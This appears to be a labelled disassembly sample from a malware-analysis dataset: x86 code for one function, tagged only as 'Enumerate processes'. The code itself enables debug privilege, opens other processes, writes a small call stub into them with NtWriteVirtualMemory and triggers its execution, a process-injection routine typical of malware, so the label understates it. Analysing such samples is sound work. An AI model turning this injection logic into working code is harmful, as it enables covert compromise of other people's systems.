Function at 0x33b6f2
Capabilities:
Enumerate processes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x16c
push ebx
push 0x124
xor ebx, ebx
lea eax, [ebp - 0x168]
push ebx
push eax
mov dword [ebp - 4], 0xfffffffd
call sub.ntdll.dll_memset
add esp, 0xc
mov dword [ebp - 0x16c], 0x128
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
push ebx
push 2
mov dword [ebp - 0x10], eax
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov dword [ebp - 8], eax
cmp eax, 0xffffffff
je 0x33b966
lea eax, [ebp - 9]
push eax
push ebx
push 1
push 0x14
call dword [sym.imp.ntdll.dll_RtlAdjustPrivilege]
lea eax, [ebp - 0x16c]
push eax
push dword [ebp - 8]
call sub.KERNEL32.dll_Process32First
test eax, eax
je 0x33b95d
push esi
push edi
lea eax, [ebp - 0x148]
push eax
call fcn.00346dca
pop ecx
mov esi, eax
cmp dword [ebp - 0x164], ebx
je 0x33b937
cmp esi, 0x9e7d3072
je 0x33b937
cmp esi, 0x353ecbfa
je 0x33b937
cmp esi, 0x563eb7fa
je 0x33b937
cmp esi, 0x43048a33
je 0x33b937
push 0x356c34
lea eax, [ebp - 0x148]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcmpiA]
test eax, eax
je 0x33b937
mov edx, dword [ebp - 0x164]
cmp dword [ebp + 0x10], ebx
je 0x33b7e2
cmp edx, dword [ebp - 0x10]
je 0x33b937
cmp dword [ebp + 8], 0xffffffff
je 0x33b7f1
cmp dword [ebp + 8], esi
jne 0x33b937
mov esi, dword [ebp + 0x14]
cmp esi, ebx
je 0x33b84b
mov eax, dword [esi]
xor ecx, ecx
inc ecx
cmp eax, ebx
je 0x33b819
cmp dword [eax], edx
jne 0x33b807
xor ecx, ecx
mov dword [ebp - 0x24], eax
mov eax, dword [eax + 4]
cmp eax, ebx
jne 0x33b801
cmp ecx, ebx
je 0x33b937
push 9
push 8
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
cmp eax, ebx
je 0x33b937
mov dword [eax + 4], ebx
mov ecx, dword [ebp - 0x164]
mov dword [eax], ecx
cmp dword [esi], ebx
jne 0x33b845
mov dword [esi], eax
jmp 0x33b84b
mov ecx, dword [ebp - 0x24]
mov dword [ecx + 4], eax
push dword [ebp - 0x164]
mov dword [ebp - 4], 0xfffffffe
push ebx
push 0x438
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov edi, eax
cmp edi, ebx
je 0x33b933
mov ebx, dword [ebp + 0xc]
xor esi, esi
cmp ebx, esi
je 0x33b951
lea eax, [ebp - 0x2c]
push eax
push 0x18
lea eax, [ebp - 0x44]
push eax
push esi
push edi
call dword [sym.imp.ntdll.dll_NtQueryInformationProcess]
test eax, eax
js 0x33b8a2
cmp dword [ebp - 0x40], esi
jne 0x33b8a2
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x33b937
push esi
push edi
call fcn.003390a1
mov esi, eax
pop ecx
pop ecx
cmp esi, 0xffffffff
je 0x33b896
mov eax, dword [ebp - 0x10]
cmp dword [ebp - 0x164], eax
jne 0x33b8cd
push 1
push esi
add esi, ebx
push esi
call fcn.0032988f
add esp, 0xc
jmp 0x33b91c
lea eax, [esi + ebx]
mov dword [ebp - 0x19], eax
mov eax, 0xd2ff
mov word [ebp - 0x15], ax
lea eax, [ebp - 0x28]
push eax
push 0xd
lea eax, [ebp - 0x20]
mov ebx, esi
push eax
add ebx, 0x32e920
push ebx
push edi
mov byte [ebp - 0x20], 0xb8
mov dword [ebp - 0x1f], esi
mov word [ebp - 0x1b], 0xba50
call dword [sym.imp.ntdll.dll_NtWriteVirtualMemory]
test eax, eax
js 0x33b954
cmp dword [ebp - 0x28], 0xd
jne 0x33b954
push esi
push 0
push 0
push ebx
push edi
call fcn.00336128
add esp, 0x14
test eax, eax
je 0x33b954
and dword [ebp - 4], 0
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
cmp dword [ebp + 0x10], 0
jne 0x33b95b
jmp 0x33b937
or dword [ebp - 4], 0xffffffff
lea eax, [ebp - 0x16c]
push eax
push dword [ebp - 8]
call sub.KERNEL32.dll_Process32Next
test eax, eax
je 0x33b95b
xor ebx, ebx
jmp 0x33b769
mov dword [ebp - 4], esi
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
pop esi
push dword [ebp - 8]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [ebp - 4]
pop ebx
leave
ret